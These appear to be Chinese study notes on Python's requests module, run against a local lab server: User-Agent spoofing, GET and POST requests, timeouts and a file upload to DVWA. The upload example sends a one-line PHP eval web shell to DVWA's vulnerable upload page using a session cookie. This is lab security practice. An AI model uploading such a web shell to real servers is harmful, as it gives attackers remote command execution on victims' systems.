requests 模块练习
模拟浏览器指纹
# http://10.9.47.154/test.php
import requests
url = "http://10.9.47.154/test.php"
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
res = requests.get(url=url,headers=headers)
print(res.request.headers)
GET 请求
import requests
url = "http://10.9.47.154/php/arrayprac/get.php"
# 需要 php 文件中有 $_GET
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
params={
"name":"GJL",
"password":"123456"
}
res = requests.get(url=url,headers=headers,params=params)
print(res.text)
POST 请求
import requests
url = "http://10.9.47.154/php/arrayprac/post.php"
# 需要 php 文件中有 $_POST
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
data={
"name":"GJL",
"password":"123456"
}
res = requests.post(url=url,headers=headers,data=data)
print(res.text)
文件上传
浏览器上传文件,拦截,查看数据包内容
import requests
url = "http://10.9.47.154/dvwa_2.0.1/vulnerabilities/upload/"
headers = {
# 防止反爬
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
# 在请求头中添加登陆凭证
"Cookie" : "security=low; security=low; PHPSESSID=n25n9pgfgmaplrvl4tfppdt661"
}
data={
# 添加报文中的附加格式
"MAX_FILE_SIZE":100000,
"Upload":"Upload"
}
files={
# 提交的表单名:(上传的文件名,二进制形式的文件内容,文件类型)
"uploaded":("1.php",b"<?php @eval($_REQUEST['cmd']);?>","application/octet-stream")
}
# 发送构造的请求
res = requests.post(url=url,headers=headers,data=data,files=files)
html = res.text
# 截取返回的文件上传结果
start = html.find("<pre>")+5
end = html.find("</pre>")
print(html[start:end])
超时
sleep.php 设置了 sleep 10秒显示
如果不设置 timeout 则等待十秒获取到返回内容
直接设置超时时间则等待三秒后会报错
处理异常
超时显示
import requests
url = "http://10.9.47.154/php/functions/sleep.php"
try:
res = requests.get(url=url,timeout=3)
except requests.exceptions.ReadTimeout:
print("Request Time Out")
except:
print("Something error")
else:
print(res.text)
不设置超时